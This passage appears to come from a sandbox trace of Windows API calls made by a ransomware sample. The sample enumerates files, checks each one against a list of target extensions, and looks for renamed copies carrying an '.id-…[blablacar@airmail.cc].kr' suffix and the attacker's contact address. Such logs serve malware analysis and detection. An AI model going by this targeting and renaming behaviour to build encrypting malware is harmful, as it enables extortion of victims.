(lpString1=".bz2", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString=".7z") returned 3 [0090.213] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0090.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.213] lstrlenW (lpString=".dbf") returned 4 [0090.213] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.213] lstrlenW (lpString=".1cd") returned 4 [0090.213] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0090.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.214] lstrlenW (lpString=".jpg") returned 4 [0090.214] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0090.214] Sleep (dwMilliseconds=0x64) [0090.791] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0090.791] lstrlenW (lpString="insertbase.xml") returned 14 [0090.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0090.793] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=903) returned 1 [0090.793] CloseHandle (hObject=0x358) returned 1 [0090.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0090.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.793] lstrlenW (lpString=".doc") returned 4 [0090.793] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.793] lstrlenW (lpString=".docx") returned 5 [0090.793] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0090.793] lstrlenW (lpString=".pdf") returned 4 [0090.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.794] lstrlenW (lpString=".xls") returned 4 [0090.794] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.794] lstrlenW (lpString=".xlsx") returned 5 [0090.794] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0090.794] lstrlenW (lpString=".ppt") returned 4 [0090.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.794] lstrlenW (lpString=".zip") returned 4 [0090.794] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.794] lstrlenW (lpString=".rar") returned 4 [0090.794] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.794] lstrlenW (lpString=".bz2") returned 4 [0090.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.794] lstrlenW (lpString=".7z") returned 3 [0090.794] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.794] lstrlenW (lpString=".dbf") returned 4 [0090.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.794] lstrlenW (lpString=".1cd") returned 4 [0090.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.794] lstrlenW (lpString=".jpg") returned 4 [0090.795] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.795] lstrlenW (lpString=".doc") returned 4 [0090.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.795] lstrlenW (lpString=".docx") returned 5 [0090.795] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0090.795] lstrlenW (lpString=".pdf") returned 4 [0090.795] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.795] lstrlenW (lpString=".xls") returned 4 [0090.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.795] lstrlenW (lpString=".xlsx") returned 5 [0090.795] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0090.795] lstrlenW (lpString=".ppt") returned 4 [0090.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.795] lstrlenW (lpString=".zip") returned 4 [0090.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.795] lstrlenW (lpString=".rar") returned 4 [0090.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.795] lstrlenW (lpString=".bz2") returned 4 [0090.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.795] lstrlenW (lpString=".7z") returned 3 [0090.796] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.796] lstrlenW (lpString=".dbf") returned 4 [0090.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.796] lstrlenW (lpString=".1cd") returned 4 [0090.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0090.796] lstrlenW (lpString=".jpg") returned 4 [0090.796] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.796] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0090.796] lstrlenW (lpString="insert.xml") returned 10 [0090.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0090.797] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=215) returned 1 [0090.797] CloseHandle (hObject=0x358) returned 1 [0090.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0090.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.798] lstrlenW (lpString=".doc") returned 4 [0090.798] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.798] lstrlenW (lpString=".docx") returned 5 [0090.798] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0090.798] lstrlenW (lpString=".pdf") returned 4 [0090.798] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.798] lstrlenW (lpString=".xls") returned 4 [0090.798] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.798] lstrlenW (lpString=".xlsx") returned 5 [0090.798] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0090.798] lstrlenW (lpString=".ppt") returned 4 [0090.798] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.798] lstrlenW (lpString=".zip") returned 4 [0090.798] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.798] lstrlenW (lpString=".rar") returned 4 [0090.799] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.799] lstrlenW (lpString=".bz2") returned 4 [0090.799] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.799] lstrlenW (lpString=".7z") returned 3 [0090.799] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.799] lstrlenW (lpString=".dbf") returned 4 [0090.799] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.799] lstrlenW (lpString=".1cd") returned 4 [0090.799] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.799] lstrlenW (lpString=".jpg") returned 4 [0090.799] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.799] lstrlenW (lpString=".doc") returned 4 [0090.799] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.799] lstrlenW (lpString=".docx") returned 5 [0090.799] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0090.799] lstrlenW (lpString=".pdf") returned 4 [0090.799] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.799] lstrlenW (lpString=".xls") returned 4 [0090.799] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.800] lstrlenW (lpString=".xlsx") returned 5 [0090.800] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0090.800] lstrlenW (lpString=".ppt") returned 4 [0090.800] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.800] lstrlenW (lpString=".zip") returned 4 [0090.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.800] lstrlenW (lpString=".rar") returned 4 [0090.800] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.800] lstrlenW (lpString=".bz2") returned 4 [0090.800] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.800] lstrlenW (lpString=".7z") returned 3 [0090.800] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.800] lstrlenW (lpString=".dbf") returned 4 [0090.800] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.800] lstrlenW (lpString=".1cd") returned 4 [0090.800] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0090.800] lstrlenW (lpString=".jpg") returned 4 [0090.800] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.801] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0090.801] lstrlenW (lpString="ea.xml") returned 6 [0090.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0090.802] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=384) returned 1 [0090.802] CloseHandle (hObject=0x358) returned 1 [0090.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0090.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.805] lstrlenW (lpString=".doc") returned 4 [0090.805] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.805] lstrlenW (lpString=".docx") returned 5 [0090.805] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0090.805] lstrlenW (lpString=".pdf") returned 4 [0090.805] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.805] lstrlenW (lpString=".xls") returned 4 [0090.805] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.805] lstrlenW (lpString=".xlsx") returned 5 [0090.805] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0090.805] lstrlenW (lpString=".ppt") returned 4 [0090.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.805] lstrlenW (lpString=".zip") returned 4 [0090.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.805] lstrlenW (lpString=".rar") returned 4 [0090.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.805] lstrlenW (lpString=".bz2") returned 4 [0090.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.806] lstrlenW (lpString=".7z") returned 3 [0090.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.806] lstrlenW (lpString=".dbf") returned 4 [0090.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.806] lstrlenW (lpString=".1cd") returned 4 [0090.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.806] lstrlenW (lpString=".jpg") returned 4 [0090.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.806] lstrlenW (lpString=".doc") returned 4 [0090.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.806] lstrlenW (lpString=".docx") returned 5 [0090.806] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0090.806] lstrlenW (lpString=".pdf") returned 4 [0090.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.806] lstrlenW (lpString=".xls") returned 4 [0090.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.806] lstrlenW (lpString=".xlsx") returned 5 [0090.806] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0090.806] lstrlenW (lpString=".ppt") returned 4 [0090.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.807] lstrlenW (lpString=".zip") returned 4 [0090.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.807] lstrlenW (lpString=".rar") returned 4 [0090.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.807] lstrlenW (lpString=".bz2") returned 4 [0090.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.807] lstrlenW (lpString=".7z") returned 3 [0090.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.807] lstrlenW (lpString=".dbf") returned 4 [0090.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.807] lstrlenW (lpString=".1cd") returned 4 [0090.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0090.807] lstrlenW (lpString=".jpg") returned 4 [0090.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.807] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0090.807] lstrlenW (lpString="keypadbase.xml") returned 14 [0090.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0090.808] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=903) returned 1 [0090.808] CloseHandle (hObject=0x358) returned 1 [0090.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0090.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.808] lstrlenW (lpString=".doc") returned 4 [0090.808] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString=".docx") returned 5 [0090.809] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0090.809] lstrlenW (lpString=".pdf") returned 4 [0090.809] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString=".xls") returned 4 [0090.809] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString=".xlsx") returned 5 [0090.809] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0090.809] lstrlenW (lpString=".ppt") returned 4 [0090.809] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.809] lstrlenW (lpString=".zip") returned 4 [0090.809] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.809] lstrlenW (lpString=".rar") returned 4 [0090.809] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString=".bz2") returned 4 [0090.809] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString=".7z") returned 3 [0090.809] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.809] lstrlenW (lpString=".dbf") returned 4 [0090.809] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.809] lstrlenW (lpString=".1cd") returned 4 [0090.809] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.809] lstrlenW (lpString=".jpg") returned 4 [0090.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.810] lstrlenW (lpString=".doc") returned 4 [0090.810] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.810] lstrlenW (lpString=".docx") returned 5 [0090.810] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0090.810] lstrlenW (lpString=".pdf") returned 4 [0090.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.810] lstrlenW (lpString=".xls") returned 4 [0090.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.810] lstrlenW (lpString=".xlsx") returned 5 [0090.810] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0090.810] lstrlenW (lpString=".ppt") returned 4 [0090.810] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.810] lstrlenW (lpString=".zip") returned 4 [0090.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.810] lstrlenW (lpString=".rar") returned 4 [0090.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.810] lstrlenW (lpString=".bz2") returned 4 [0090.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.810] lstrlenW (lpString=".7z") returned 3 [0090.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.811] lstrlenW (lpString=".dbf") returned 4 [0090.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.811] lstrlenW (lpString=".1cd") returned 4 [0090.811] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0090.811] lstrlenW (lpString=".jpg") returned 4 [0090.811] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.811] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0090.811] lstrlenW (lpString="kor-kor.xml") returned 11 [0090.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0090.812] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=392) returned 1 [0090.812] CloseHandle (hObject=0x358) returned 1 [0090.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0090.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), 